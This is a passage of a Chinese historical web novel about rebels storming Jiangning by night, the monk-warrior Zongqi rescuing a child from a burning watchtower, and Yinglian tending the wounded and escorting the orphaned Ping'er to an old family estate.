这无论对谁，都是一种煎熬。宗契心知肚明。 但开弓没有回头箭，他们要在乞活或仇恨下蹚开一条路，必然脚下要踩着同胞的尸骨与鲜血，只能向前、再向前，一步不能退。 果如武大用所透露，这一夜的奇袭有了意想不到的收获。 样子墙距离城西的龙关门不远，此门颇部署了不少兵力看守，若从正门攻，损兵折将，且几乎攻打不下。 守城的兵士也都如此看法，故今夜抵抗城外一支来袭的叛军，虽刀兵喊杀声震地连天，烟尘搅动黑夜里一处处火油光亮，通红的夜色里弥漫着厮杀的鲜血气息，但无一人当真觉得，城门会被攻破。 守兵不过将附近的兵力聚集，如群蚁附积，自城楼上射下密如雨点的箭矢，嚣声撼动天地，压得城中百姓惶恐畏惧，瑟缩在家中，不敢出门半步。 这头杀得兴起，自然几乎无人察觉兵力薄弱了的样子墙处，正有密密麻麻的凿锤之声。架在护城河上的壕桥厚长，攻城的兵士不带一点火光，身穿黑衣，完全融入了夜中，斧凿之声，也俱被二里外的喊杀刀兵声所掩盖。 一下、两下、十下、百下…… 千万凿锤声下，看似牢不可破的城墙，终于缺开了一口。 没有欢腾、没有叫喊，黑衣的兵士如凶猛的潮水，霎时从这道缺口涌进。伤口被撕扯得更大，一带城墙缺处，摇摇欲坠。 究竟是哪一个守兵最先发现这一支无声的夜鬼似的军队？无人知晓，但有一点可以确定，无论是谁，他的尸骨早已坠落城墙，与攻城、守城双方的累累尸骨并叠在一起，成了尸山血海。 龙关门下，壕桥搭了又毁、毁了再搭。壕桥之间，填壕车坠下一块块巨石，投入护城河中，掀起千层巨浪，染血的河水又将淤塞河底的新死尸骨翻冲上来，水流渐渐瘀滞。 守城的官兵喊杀里掺夹着来回呼号，不知是督战的监军还是传令的号官，叫嚷着调拨甲兵，去城缺处防守。 率军攻城的钱美，此时早已传下令去，命部众后撤，却并不鸣金。兵士撤退之时，将随附的一车车大箱散开，内里乱糟糟抛出金银财物，一瞬时宝光冲天，晃花了守城兵士的眼。 也不知是谁在疾厉声色的调拨指挥中，激动地叫喊了一声：“贼寇丢下钱财退了——” “贼寇退了——” “快抢珠宝！” 一击石起千层浪，一声声狂喜的呐喊，甚至盖过了军队的调度。守城的校尉惊恐地发现，竟无人听从调集，去城防薄弱处严守，底下各个兵丁，趁着贼寇退却之时，争涌着出城哄抢财物！ 更有那浑水摸鱼的，既见贼寇撤去，一鼓作气，放下吊桥，举着刀作势冲杀，实则混入同袍的阵势里，捞得满手满贯的钱财。 前后不过半刻，再纪律严明的部众，这样短而仓促的时间里，也无法强行调集，一时间好似群龙无首，乱糟糟、拥攘攘，像不知往哪个方向流动的护城的河水。 宗契便在这千载难逢的时机里，终于入得城去，再不执他的镔铁棍，却攥寒亮亮的钢刀在手，怒吼道：“随我冲——” 钱美等人随后，在震天的破城兵士叫喊声中，杀了闯到身前举刀的守兵，踩踏着鲜血淋漓的尸骨，狂喊着冲杀向前。 单铮在其后不远，众军环绕之中，凝目望向如蚁的甲兵，周身森森杀意，拔刀朝前而指，“儿郎们！今夜入城——” “入城——” 鼓声山响之中，潮水一般的军队，裹挟着铺天盖地的杀气，直冲入城。 有号令的将领，骑着快马、击着铙钹，穿梭军阵之中，一路响亮亮地破开山海压覆的声势，“城中百姓无伤！城中百姓无伤！城中百姓无伤！……” 铙钹与叫喊高亢嘹亮的声音刺破暗夜，凛然回荡在街巷界桥。虽然如此，此夜，城中千家惶恐战栗，连小儿惊惧的哭喊声也被狠狠按捺了下去。 江宁府城早已老旧，却还残余古都严整的气象。入城义军便有那做贼心思的，在一叠数声“城中百姓无伤”的严律声中，结伙了二三人，偷摸着闯入城中一户人家，趁着漆黑的夜色，行贼抢劫掠之事。 登时有哭喊声爆发开来。 那三个得了手的兵士，抢掠了珠宝，才出屋两步，正被人森森地堵了个正着，刚要逞凶举刀，看清夜中来人，腿脚便是一软。 那人带着张开獠牙的鬼面，两只眼眸像幽夜里的野兽，说话却死水无波，“城中百姓无伤。” 他只说了这么一句，嘶哑似刮擦耳膜的兵刃。 一刀挥下，那身携珠宝的兵士声儿也没来得及出，脑袋便利落地离了身躯。 鬼面人身后两名甲兵，一刀一个，如数割了劫掠兵士的头颅，血淋淋挑在刀尖上，瞧也没瞧惊怖欲死的那户人家，极有默契地出门上马，穿梭行军之中，高声叫喊：“劫掠百姓者，斩——” 又有传令官击鼓入城，鼓声沉闷，震动数里： “降兵不杀——” “枭首敌将者，赏——” 一道道军令如天罗地网，铺天盖地倾覆下来，将整座江宁府，困在了罗网当中。 入城的兵士、抵御的兵士、传令的号官、躲避的百姓、无家的乞丐，甚至狂吠的野犬、嘶鸣的马匹，一切一切都混杂成了一场疾风骤雨，涨上千丈高的声势，几乎要将人溺死在汹涌水潮之中。 奔逃的人随处可见，即便有号官来回奔走呐喊，仍有受灾殃的人们，零落散布，或扑倒在流矢之下、或被无眼的刀剑杀伤。城中黄泥的土路渗进了几尺厚的鲜血，青石的路面变得红褐而粘腻不堪，路边尽是倒下的尸首，有城里的、有城外的，有人的、有犬马的。 火也烧了起来。 赵芳庭跟随主军入城，先闻到了一阵飘散的血腥，再瞧见了远远的一座极高的楼上，熊熊燃起的大火。遥遥望去，真仿佛落日又起，燃上中天，将一大片连绵的低矮屋舍映得通明火红。 “这是谁放的火？”他骑在马上，狠狠皱眉，对这群不听话的兵十分头疼，“不是再三申明过，切不可放火么！快灭火！” 而后他发现，这起火的高楼，似乎就是望火楼。 这就很令人费解了。谁闲来无事，在望火楼上点一把火？他记得双方也都没放火箭啊！ “将军，快看！上头仿佛有人！”跟来的副将指着叫道。 赵芳庭一震，忙向上看去，果见张牙舞爪的火舌冲天里，似乎有人影扭曲。不用想，也晓得楼上人有死无生了。 “算他倒霉。”他叹了一声，咕哝道：“此夜哪里躲避不好，偏躲在望火楼上——望火望火，真把火给望来了吧。” 说话间，前后左右吵吵闹闹地又过去了好几拨人，冲杀的冲杀，归队的归队，还有许多捆缚手脚、一列一列行经的——那是弃刀投降的守兵。 总体来说，忙而不乱。赵芳庭对此比较满意。 高楼之上，火势冲天，忙坏了下头扑火的人。 火势高燃，往上窜得邪乎，内里又弥漫一股独特焦臭。有经验的小校便明了，是泼了火油才致。 正忙乎着扑火，离得近的，便闻听遥遥的顶头上，灼臭焦热的火中，隐约有似人非人的惨嚎，使人不忍闻听。 那是在楼上，被困在火中的人。 谁也不敢向上细观 ，望了也没用，只闷头扑火。更发动了周围人家，桶、盆、坛、罐，凡是能盛水的，都七手八脚地浇上去。 挥汗如雨间，有人一抹头，却见了个骑在马上、戴了帷帽的人，瞧身形曼妙，便知是个女子。 “你这一女娘在此做什么！”兵士喝道，就要赶了人走。 她身后却拦挡来几个从人，“此是鬼面将军的宅眷，不得无礼！” 那几名兵士一听，便不敢动作，退了回去，自顾自扑火去了。 “李娘子，咱们走吧？”从人问。 马上之人掀开了帷帽纱帘，在炙人的热浪下，抬头凝望望火楼上。 “那上头是什么人？”她并不离开，却问了一句。 众人面面相觑，谁也不晓得。便有人道：“许是当值的潜火兵。” 第80章 第80章对面不相识，却是故人心…… 她摇了摇头，凤眸里烈烈的火长燃不灭，神情却隔岸观之，清冷疏离，“不像。” 的确不像。楼上的活人从未求告，寻人来救。 火势迅猛，高楼上哔哔啵啵燃过一阵，吞噬漆木栏杆，支架木梁在火舌舔舐下发出不堪重负的嘎吱声。 “李娘子，咱们快些走吧！”几个从人的面庞被炙烤得通红，都来焦心劝道，“这楼撑不住多久了！” 李定娘点点头，放下帘帷，轻纱扬动在如昼的夜色里，长驱策马而去。 火势犹如魔鬼，一旦得了时机，趁空便要反扑。众人楼下逐渐消减了火势，楼上却仍是熊熊一团，并又要蔓延向下来。 人心中俱都明白，不待楼头烧尽，折下焦炭也似的木梁来，这火是止不住的了。 便又闹闹哄哄地开始拆毗邻的屋舍，怕火趁风势，又猛扑回来。 所幸值此夜半，义军顺利入城，也像燎原的野火，已将街头巷尾都牢牢掌控。城中守兵原本空虚，向来不过二三千人，一旦破城，大多惜着一条命，也都撂刀兵投降了。这处才能安心扑火。 望火楼随时都有倒塌的风险。负责的小校见状，急匆匆地令各兵士后撤，以免被垮塌的木柱伤着。 却在此时，兵荒马乱之中，也不知哪里钻来一团小小的影子，灰不溜秋，人皆忙乱着扑火避火，浑无察觉；待撕心裂肺的孩童声啼炸响在焦木火炭之中，不知谁才叫了一声： “有个孩儿！” 望火楼下无论门洞或是木梯，皆一片焦黑，火云压覆，随时可能带着粗大的梁柱倾倒，二层外展的宽檐被火舌舔吻，已摇摇欲坠，只一二斗枋支撑。一个浑身脏乱的孩子，也不知从哪里窜出来，冲到楼下，却愣愣止在火势隐隐的木梯前。 “快救人——”有人喊。 仿佛个濒死之人痛苦呻。吟，木梯、木梁、木架俱爆出阵阵令人毛骨悚然的松动声。只在顷刻之间，不知哪一根木柱断裂，咔嚓一声，猛地垮塌下来。 那孩子不知是惊恐太过或怎么，竟木木地望着屋梁倾圮，僵在了楼下。 众人怔愣不及救，眼睁睁瞧着便要命丧当场。说时迟那时快，一阵马蹄长嘶，山塔疾风而过般，掠下一人，魁梧的阴影火光里瞬现，抄至望火楼下，伸长臂将那僵立的孩子一捞，才拎在手中，上头木梁终于承压不住，轰然倒塌！ 那人反手格刀一档，以精铁生生抗住老树粗细的焦木，胸腔里爆出一声吼，震醒了发愣的旁人，一刹那叫喊的叫喊、动作的动作，炸呼呼骚乱起来。 刀刃震入焦黑木梁之中，生生没进尺余。 有人认了出来，惊叫：“是高僧宗契！” 宗契咬牙抗住那木柱一瞬，争得刹那功夫，把孩子抢了出来。 “后退！”他弃刀兵，抽身而出，喊声震动，“楼要塌了！” 话音刚落，一处飞檐闻风而坠，轰地一声，几乎盖过了楼下骚动。 几丈高的望火楼，不过片刻，如小儿手里的玩意儿，拉拉杂杂分裂开来，倾颓到底。 宗契怀里的那孩子哭闹起来，“娘——” 那是个女孩儿，不过六七岁，衣上、脸上全是灰黑，只一双清泠泠的眼皂白灵秀，此时圆睁着，里头尽是对火的恐惧。 她扭来扭去不安分。宗契无法，抬来一只手沉沉地要拍拍她头顶，却才觉手掌心里尽是鲜血，伤口从掌根裂到虎口。 原是方才挡那木柱一下，竟将虎口全震裂了。 好在府署尽被攻下，该杀的杀、该降的降，余下事早部署安定，这才予了他喘息之机，草草处理了掌心伤口，不及思量，翻身上马，将哭闹不休的孩子带上，一路向才入城的后营而去。 所谓后营，实则是早已搭出的一片天棚。伤兵尽被安置在此处，有大夫来回照看着，比被丢在街巷黑窟窿似的角落里发霉发臭好。 伤兵太多，随军的大夫人手极不足。好在赵芳庭事先早已预料到，连夜“请”了城中大小数家药铺子的大夫、伙计，同着一筐筐药材，源源不断地送来，解了许多燃眉之急。 饶是如此，许多轻伤的义军、兵士的女眷也在此间穿梭奔忙，做些力所能及的活计。 应怜此时也换了身行装，不再锦绣绫罗穿戴，却着寻常粗布衣衫，头上扎着青布头巾、腰间系着宽大的兜袋，未着脂粉，正提了两个铜茶瓯，向并排躺倒呻。吟的士兵挨个喂水，又时时从兜袋里摸出手巾来，擦汗擦血。 她自己额上密密的细汗却来不及擦拭，只用衣袖一扫，便又忙活着倒茶水去了。 说来奇怪，往常在家时，轻易不动步履、鞋袜不染尘土，闲花照水，也时常养出个头疼脑热来；如今在这战场后方，彻夜不眠不休，耳边听着大小轻重的呻吟哀嚎，眼里见的缺残身躯的伤兵，衣上处处也沾了不知多少血污，她忙得连口水也顾不上喝，热汗直淌，却丝毫不觉苦累，一手一只茶瓯，煮茶、喂水、煮茶、喂水……浑身仿佛有用不完的力气。 相较起来，折柳就难受得多了。她也粗朴的一身行头，才将止血的伤药为一个伤兵敷了，起身时扶着腰，脸色扭曲，“噢，秾李、秾李来扶一扶我……” 一旁的秾李忙放下沸水里捡出的热手巾，过来搀扶。 应怜正从此过，便也倒了一晚粗茶递去，见折柳有气无力地摆摆手不要，便又旋身去给下一个伤兵喂水了。 折柳怏怏地揉着腰，瞧着她来来回回毫不停歇的身影，不甚艳羡：“还是年纪小好哇，这一宿折腾下来，你瞧瞧她，还这么活蹦乱跳的。” “说得好像您多老似的。”秾李道。 “可不是老么。”折柳叹气，“寻常在我这个年岁，也有做祖母了的。” “寻常在您这个年岁，也有才二嫁夫婿的。”秾李笑意一闪而过，却终归于淡然，一同望向应怜，眼底不无歆羡，“您终究是落过胎，又总喝那伤根本的药……身子骨才遗下毛病。” 折柳摆摆手，自己倒看得很开，“猴年马月的事，提它作甚。” 歇了一晌，又接着各做各事。 接连不断地有伤兵被抬进来，很快便搁置不下。即便天棚一扩再扩，也跟不上兵士伤损的速度。应怜忙无空暇，又瞧着那些临时铺就的草榻上，前脚重伤的人才死，被抬出去不过片刻，后脚又一人被安置上来，一样的流血、一样的呻。吟，甚至连血也是一样的刺目鲜红。 她再生龙活虎，也有累的那一刻，见多了此状，更多的是心里的那一片疲惫。 轻伤的兵士毫无顾忌地喝一大碗茶水，撑着伤痛唾沫横飞，描述今夜一场奇袭的功绩，“……趁夜突破缺口，守兵自然来抵挡，只是没咱们凶猛，我一人斩下了三个……” 说到兴致处，他满眼绽光，里头透着野兽一样的凶残渴望，执着地举着手，比出三根手指。 应怜晓得，那是对战功丰厚奖赏的渴望。 这一场仗下 来，他也许会被伍长、什长赏识；若他们死了，他便有机会成为伍长、什长，被位更高的人看在眼中；再不济，每一只斩下的右耳，也会给予他实打实的钱财报酬，让他从此不再是一无所有的低贱流民。 ——那些死在他兵刃下的人也是作如此想，只不过没他有能耐、或没他好运。 她头一次接触战争——据此人道，这是一场我方大捷的胜仗——战争残酷揭下的面纱一角，便已如此血腥而真实地暴露在她眼前。 她又想到了宗契，不知他怎么样了。 有伤兵瞧见过他，说他很好，策马时率部众冲锋陷阵，既无畏又果决；下了马，一手刀法出神入化，闯入敌军之中，如千军横扫。 听到这些，应怜松了一口气，可听着那些兵士兴奋地你一言我一语谈论他如何如何英姿，她却怎么也升不起与有荣焉的骄傲。 他纵不是个僧人，也总是个活生生的人。不是古来那些征战沙场的将军，不是史书里那些千人屠、万人屠的英雄。他曾暮鼓与晨钟，闻听佛谛，两袖是松林修竹的清风，物我随心，超然凡俗。 如今入得红尘网里、生死局中，为她私心，造下累累杀业，他今后该如何向佛？又会不会觉得可憎、可悲？ 忙忙碌碌，她逐渐心不在焉，为他们倒茶、擦拭。他们有的喝了她茶，继续振奋地攀比自己立下的军功；有的喝过茶，一二刻后，沉默地被抬出去，英灵上路、魂魄渺渺。 不知什么时候，又抬来一人。应怜打起精神，换了条干净的手巾，为那人先擦了头脸的血；又从兜袋里掏出剪子，按大夫的嘱咐，将伤处的衣裳剪开。 那人按住了她握剪刀的手，冰凉凉的。 她怔了怔，从那张微微柔和的面庞眉眼里，才瞧清，这是个女子，细看已是残剩风韵之年，手上肌肤除了划痕遍布，保养得却细腻，显见往日里生活优渥。 伤在腰腹，似是中了刀剑，皮肉下甚至可见内脏肚肠。一时未死，却也只不过是撑着一口气罢了。 应怜见多了伤口，便晓得这伤治不了，不知她是谁，心中却起了一丝怜悯与悲哀。 那妇人微睁着眼，紧紧抓着她的手不放，嘴唇掀动。 应怜有些无措，觉得她有话说，便俯下身耳畔贴进她唇边，在周遭乱哄哄的声音里，想听她究竟在说什么。 “……萍儿……送去宗氏旧园。萍儿丢了，我对不住……主母！求你找……寻她……” 一句话说得断断续续。应怜听了个大半，有些着急，问：“萍儿？是您儿女吗？” 她闭了闭眼，有气无力地摇摇头。 茶水已喂不进，不过沾湿了一点喉唇。妇人缓了缓，再度开口：“我是乳娘。萍儿是……袁知府之女。” 她说一句，歇一会。好半晌，应怜才弄清了她意思。 原是义军破城，知府的夫人将小女儿托付给乳娘，改换平常装束，偷出府宅，切切叮嘱逃去娘家，待事定后再归。 好巧不巧，她说得清楚，那是“义兴县宗氏旧园”。 应怜自然而然想起了那日宗契说的园子，兴许就是那一户？ 鲜血汩出伤口，像她流逝的生命。她几句说罢，已一动不动。应怜担心她就此死了，伸手去探她鼻息，忽却又被她捉住，陡得睁开眼，眸中绽放出夕阳返照似的最后一点光彩。 她吓了一跳，却见那妇人满眼生命尽头的哀求，喉中猛然发紧，说出句不像样的话来：“老皂荚下，匣子、随主母葬……不合葬、不合葬！” 她捉着应怜的手铁箍般钳紧，应怜绝想不出，一个将死之人，竟有这般大的力气，骨头被钳得生疼，费了九牛二虎之力，好容易掰开那只满是划痕伤口的手，再瞧那妇人，已经圆睁着双目，死去了。 手还疼着。应怜默默为她闭了眼目，坐了一会。 这个不起眼的角落，谁活着、谁死了，没那么快被人发觉。所有活人都忙着自己的事，救治、哀嚎，或吹嘘。 宗契找到应怜时，她正独自坐在角落里、一张脏污不堪的草铺上发呆。 大半宿过去，她双眼熬得微红，有些楚楚的雨后梨花的姿态，粗布衣衫上却沾满了红褐的血渍。她坐下时，腰上那大兜袋便平搁在膝头，里头鼓鼓囊囊的，露出一条擦拭得血污斑点的手巾一角。 闻听有人来，她蓦地回神，几乎是惊跳起来，一股脑将也不知说过几遍的话又倒了出来：“她已没气息了，带走吧。” 说着，目光转过来，一愣，浑身细细地颤了一下。 “你还好么？”他将手里那孩子放开，有些担心。 “哦，还好……无碍的。”她像个提丝线的傀儡一般言不由衷挤出几句，这才终于仿佛全活了过来，上下一丝不漏地打量了他好几遍，最后目光落在尚滴血的手掌上，急急过来翻看伤口，“你怎么了？伤得重不重？” 一夜忙忙乱乱，她鬓边几缕碎发散碎下来，黏在沾满汗水的脸庞上。宗契手心里忽觉不出疼痛，却有一股麻痒，动了动手指，尤其在她低头小心翼翼为他手掌擦拭血渍时，很想伸手去为她拂一拂。 她不像雨后的梨花。 梨花雨后自清艳，清艳到了绝处便只能凋零。她是雨后的新笋、是抽条的嫩柳，沾衣欲湿处，能迸发勃勃的生机，滴翠流朱的一点，便惊叹到了人眼底，也爱到了人心底。 他忍住了没动弹，只是眼中噙着微微的笑，任她摆弄。 应怜又要来干净的热水和手巾，并一些伤药，揪着心替他处理了，叮嘱务要好好调养，若是伤到了筋骨，可不是玩笑的。 她又想问还有无别的伤，见他已除了甲胄，立在她面前，除了衣袍襟角有些血污，仍仿佛一向那个风朗洒落的宗契，多余的话便又都说不出口了。 正要问他怎么来了，忽草铺旁爆发出哭声，却是那女娃儿扑在死人跟前，惶恐地哭喊，摇着还未僵硬的手臂，泪珠子往下落，“乳娘、乳娘！你起来呀——” 二人皆是一惊。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 第81章鸾凤归在旧枝梢 应怜心念电转，向那哭泣的孩儿问：“……萍儿？你可是萍儿？” 萍儿抽抽搭搭，泪水与小脸上灰黑混成一道一道，“是我。” 应怜便明了了。 她将宗契拉到一边，叙了一遍前情，尤其道了那“宗氏旧园”几字，便见宗契望着萍儿的目光一时有些发怔。 她轻轻地搭在萍儿肩上，将她慢慢带了过来，心下怜悯，拿了条新手巾，细细为她擦净了头脸、双手。 萍儿生得白嫩秀气，有些怯生生的，任她擦拭。 “你爹娘姓字是什么？家住何处？”擦净了，她又为她重新束了红丝缯，扎好了三丫髻，一番询问。 六岁的孩子，说懵懂也懵懂，说开悟也开悟。闻听她问，萍儿又大哭起来：“我爹是江宁袁知府，我娘是主母宗氏。我娘说去西北望火楼，可那里起火了……” 宗契低声将望火楼起火一事告与了应怜。 那便是都没活路了。 她拉着萍儿的手紧了紧，“你可还有别的亲人？义兴县的宗氏旧园，那是你家么？” 萍儿却哭着摇头说不晓得。 那妇人已死了，临终前嘱托的事，自己总要替她办一办的好。应怜想。 只是宗契却不作此想。他皱着眉，在杂杂沓沓火把的摇曳光亮下，脸廓被勾勒得像出鞘的锋刃，消减了平日里柔和，平添几分凌厉，“江宁初克，敌兵四散，义兴县附近也不知安不安生。你一个女娘，更不好带个孩儿去那样的地方。不如我去，问明了事由，待那处安定后，再送萍儿不迟。” 天棚无门无窗，任夜风游来荡去，饶是如此，冲不散漫天的血气。他离近时，应怜便闻见他衣襟袍角沾染的血腥气，混着浸透的汗水，再也不见半缕梅或兰的衣香。 这即是凡尘罗网里，名、利、仇、欲的气息。 宗契总愿在她身前，一肩担下这些脏的乱的，蹚开了一条平直的路，再让她走。 只是她与他并肩，岂会不染一点血污？ “我与你同去。”她道。 宗契向来不擅与她争，见她眸中执拗决心，即将出口的拦阻又咽了回去，只道：“那好，过后你先歇一觉，待醒了，咱们再去。” 黎明前，应怜搂着萍儿，权且在客店里歇宿了一二时辰。 客店里人手早已尽换了知根知底的义军，再没甚好担心的。 她劳累了大半宿，此时早已困乏，任日上三竿，睡得几乎人事不省。直待睡梦深处察觉一阵动静，费力地睁眼，才发觉是萍儿梦中惊哭，手脚乱挥。 应怜轻拍了拍她。不大会哄孩子，有几分笨拙地将她搂进怀里，迷迷糊糊地哄：“我在呢，睡吧。” 小小的身子勉强安静了一刻。 应怜醒过一回，却有些清醒了，一会儿，又觉着怀里的小家伙乱动了起来。 原来是萍儿醒了，扭来扭去要起身。 这么一折腾，她也闹没了睡意，精神头儿回了七八分，索性带着萍儿漱洗穿整了，叫来个兵士问：“这会子大家都在忙什么？” 战事早已尘埃落定。兵士神采熠熠，答道：“单将军已入府署坐镇了；军师们都在忙，说要 将府城上下的人事都梳理一遍。昨夜上阵的将军们都歇下了，晌午后还要巡城呢。” 各人有各人要忙的事。 “那宗契高僧呢？”她又问。 那小兵搔搔脑袋，“高僧方才正套了车，约摸要出门呢。” 应怜大惊，忙问明了他歇宿处，牵着萍儿，急急地寻过去了。 一路上埋怨：这秃驴嘴上一套、背地里一套，分明说等她觉醒了同去的！若不是她觉中被萍儿闹醒了，估摸着候她睡上一觉，他人都已经到了义兴县了！ 这么想着，脚步就有了点气势汹汹的意味，直待来到后院他那一间，正要扣门，却恰巧此时，半旧的木门向两边一开，应怜差点一手推了进去。 里头立着宗契，正一只脚往外迈，陡然见着应怜，一怔之下，便没想好要说什么，只唤了声，“惜奴。” 他极高又宽健的身量，动一动便有种蓄势待发的压迫，却教应怜纤细的一条影儿闲闲堵在门口，仿佛那里立着一道坚锁；一双清莹莹琉璃水晶似的眸儿瞧来，心里便一突，生起了某种又爱又怕的感觉。 应怜搭了一眼他这副衣衫粗朴、紧陈利落的穿戴，不紧不慢“嗯”了一声，见他让出一条道儿，抬腿埋进门槛，高高昂着头颅，努力摆出一副得了理可以不饶人的板正模样，问：“你这是要去哪儿啊？” 宗契回答不上来，含糊应了一两声。 她眼尖，却瞧见了他唇边泄露的半分殷殷笑意。 应怜便泄了气。 “分明说好等我同去的！”她索性摊开来直说，有些愤愤不平，折回在他面前，晃来晃去，“你怎能言而无信，答应了的事又反悔？你现下若要走，便把我也带上！” 宗契无法，想笑又怕她更恼，只得忍住了，打了个哈哈，“你累了一宿，该好好歇一歇……” 应怜却不依，一语拆穿他，“你不过是担心我在义兴县不安稳。可你想想，若你独自去了，我岂不一样担心你？” 她是个再规矩不过的女娘，哪怕耍起脾气来，也不过是念叨几句，瞪他一眼，多余如撒泼打滚，便不会了。 宗契手心又开始有些发痒，微微抬起手来，想摸一摸她乌厚密发的脑袋，或捏捏她的脸。 她真可爱。 他端正神色，面孔沉肃地想。 应怜一只手挥到了他眼前：“你在听我说话吗？” 那只手白皙可爱，他一个心不在焉，瞧着那五个指尖粉润饱满，手比心更快，大掌一抄，将它们全数捏在了掌心。 指腹扫过，是比想象中的更加柔软。柔软到不可思议。 不过一瞬的事，他猛地松开。 眼前应怜被惊吓到一般，也不叨叨地念了，圆瞪着剔透明净的乌眸，颤晃着一丝无措的羞臊，慢慢地从如玉的脸颊上晕染开一片红粉。 羞意蔓延，直到她两颗柔软的耳珠也粉嫩了起来。 应怜默不吭声地将手缩下去，背在了身后，扭着脸打量这间简致幽静的客店屋舍。 空气中饱涨着一股静谧却令人心颤的暧昧、隐秘的温柔。 宗契压抑住想盯着她瞧的冲动，稳住心神，不再隐瞒，“……我的确是担心你安危。我去去就回，至多不过四五日，可好？” 他嗓音中含着无奈的妥协、温和的劝哄，甚至隐藏了一丝自己也察觉不出的宠溺。 可应怜将五指于背后蜷起来，回味方才他指腹摩挲的温暖心悸，硬梆梆答道：“不好，我要与你去。” 宗契叹了口气。 “好吧。”他没法拒绝她，又丢不开她，只得应承下来，“只是这一趟快去快回，不是游逛，可不清闲。” 应怜仍板着脸，只是当他话音落时，便再绷不住，流露出三分欢喜的笑意来。 她偏着头注视窗外草木葱茏。宗契便不再压抑，凝视着她，从眸中落到心尖，又蕴藏进心底深处，目光再不离开。 宗契形貌引人注目，兼之手掌受了伤，便由随行的小乙赶车，一重车帘遮了他与应怜、萍儿。一行人连庆功的酒宴也没赴，果真马不停蹄，赶往了义兴县。 宗氏旧园不在城中，离着义兴县尚有数里，颇有山环水绕的景致；只是年深日久，只一个上了岁数的哑仆看家，宅院便总有一种老旧荒弃之感；遥遥便见得外墙一带失了修，原本朱漆的墙面遭风雨剥蚀，残旧不堪，里头繁茂地生长着数丈高的树木，满目里皆是夏昼浓荫，返璞归真。 哑仆乃是一枯瘦的老叟，开门又见了宗契，立时愤怒地瞪直了眼，咿咿呀呀一顿比划，似乎很想要揍他，却又不大敢的样子。 这一带几无人迹。上回一行人至他门前，踩踏出的野径复又生了青草。宗契任他指点，从行囊里先掏出了个小匣，以示歉意和诚意。 那匣里盛着价值连城的夜明珠，完璧归赵。 哑仆瞧了见，怔了半晌，赶忙来藏入怀里。 应怜也带着萍儿下了车，环望四周，目光落在白发苍然的哑仆身上，向身边的萍儿问：“你认得这一阿翁么？” 萍儿把头贴在她腰腹上，闷闷不乐地抱住了她，不情不愿地点点头。 “是兴伯，我不喜欢他。”小姑娘似是撒娇，粘着应怜不放手，“我娘也不喜欢。” 她晓得母亲去了望火楼，也晓得楼上起了火，路上两日，问应怜：“姨姨，我娘死了吗？” 不知是谁与她说的。应怜心中发酸，抱着她，应了一声。 “那她何时回来接我啊？”萍儿又问。 应怜哑然，竟不知该如何解释，只得含糊应答：“……要过些时日呢。” 萍儿果真乖乖地等了。 哑仆不能言，眼睛却没花，一眼瞧见萍儿，更呆了一呆，急走来几步，却在萍儿嫌弃的目光下，生生顿住。 宗契简明向他叙了一遍城中变故，只含糊隐去了自己入城一节，道那望火楼上有人身死，如今正在捡拾尸骨，若当真是知府夫妇，必是要好生厚葬的。 哑仆嘴唇嗫嚅，面色憔悴黯淡，似无声悲泣，无力地摇了摇头，枯立门前一晌，仿佛如初醒，将几人让了进去。 旧园里寂寞处自成盎然，荒僻里生出野趣。初来时只觉处处萧索，待得时候一长，应怜偏逐渐起了几分避世隐居的清幽感。 他们到时正是晌午，蝉噪人静，幽窗孤僻。这里的事一时兴许办不完，哑仆便将二人各自安置在邻近的院落，院墙低矮，应怜踮脚一攀墙头，目光便能越过墙去，瞧见隔壁的宗契。 宗契去寻哑仆问话，应怜便借来了铲，带着萍儿去找皂荚。 旧园里有好几株大小不一的皂荚，因树身有刺，单单栽于偏僻的园角。 她寻定了一棵一人抱的皂荚树，便开始铲土，一边铲一边与萍儿闲聊。 萍儿不晓得什么宗氏旧园，只道：“兴伯以前在我家。后来我娘骂他，说他背主，是猪狗不如的东西，就把他赶走了。” “背主？”应怜纳罕，“你娘还说了什么？” “还有……她说：‘你是我家的人，还是那畜生的人？你年年回道寻不着，却分明晓得他们尸骨都朽烂了，只是瞒我’。”萍儿苦想了好久，将话学说了一遍，“兴伯把头都磕出血了，我娘又哭，说‘怪不得那年你忽然口不能言。想来是用一张嘴换得了一条性命’……姨姨，这是何意？” 应怜拄着铲，在浅坑旁发呆，回过神来，摇摇头，“我也不晓得。萍儿淘气，这话必是你偷听来的。” 萍儿被戳穿了，向她使了个鬼脸，新奇地瞧树下虫蚁去了。 老树盘根错节，想挖下去却不是易事。应怜费了九牛二虎之力，累得热汗直淌，才挖出了一棵，手上却磨出了水泡，只得丢了铲暂歇下，待宗契来了，再掘下一处。 也不知树下果真有无匣子，也不知那匣子里盛着什么。 她直觉那里头有蛛丝马迹，纵然与宗契无关，也能寻着些旧情，一时心急，便要去寻宗契。 却不想他仍未归，只一个小乙闲坐于院中纳凉。 便只得压下心急，等他回来再说。 第82章 第82章此树曾记，吾家年月 老屋里，连光都是陈旧的，懒散无力地从窗隙间漏进来，再多也点不亮原本深幽的内室。 外头是晃人眼的白昼，屋里却要点灯。 他毕竟年岁大了，目力不如盛年时，若依着天光黯淡，必瞧不清眼前盘坐之人的眉眼。 他高大、沉默，却因正值年华，像繁茂葱茏的山岳，令他这个衰剩暮年的残躯感到艳羡。他眉目刚硬简明，气度清冽淡泊；可面貌五官，却肖似记忆中的另一人。 哑仆端详许久，颓然放弃了回忆。他记不清了。 眼前这位僧人与他对面而坐，淡淡开口：“上回来初见，我却总觉着你眼熟。回去后想了许久——兴伯，我认得你。” 他清明的双眸里映进哑仆苍老的、疑惑的面容。 手边摆着纸笔。宗契不疾不徐研了墨，以石砖为案，一笔一划，一边写，一边道：“年长者容貌难改，孩童却不然。你记不起我也平常。我曾姓贺，俗家名姓——贺宗契。” 贺，宗，契。 他把墨迹初干的纸推到他身前。 分明是墨，却忽如锐利的刀，字字插进他眼目中，鲜血淋漓。 哑仆震愕地张口，乃至惊恐，喉中泄出一串嘶哑的咿呀声。 “记起了么？”宗契无喜无怒，连说话也毫无波澜，“那年我七岁。街市熙熙攘攘，那许多的人，你偏来向我一个孩子问路，还送了我一串糖葫芦。你笑脸可亲，问了我许多家中事。” 哑仆闭上嘴，惶恐羞惭的双目垂下，难以与他对视。 “若不是不久后，我家便生了变故，家破人亡，那样寻常的小事，我早该忘了。” 陈旧的屋檐下，空荡荡的四壁。桌椅早收拾起来，蒙上罩布。哑仆也是衰迈的，只新来的这客人，有些新鲜的活人气，可嘴里说出的，却也是陈年旧事。 宗契又铺开一张纸，“你口不能言，无妨，总认得主人家几个名姓。我问，你点头摇头便是。” 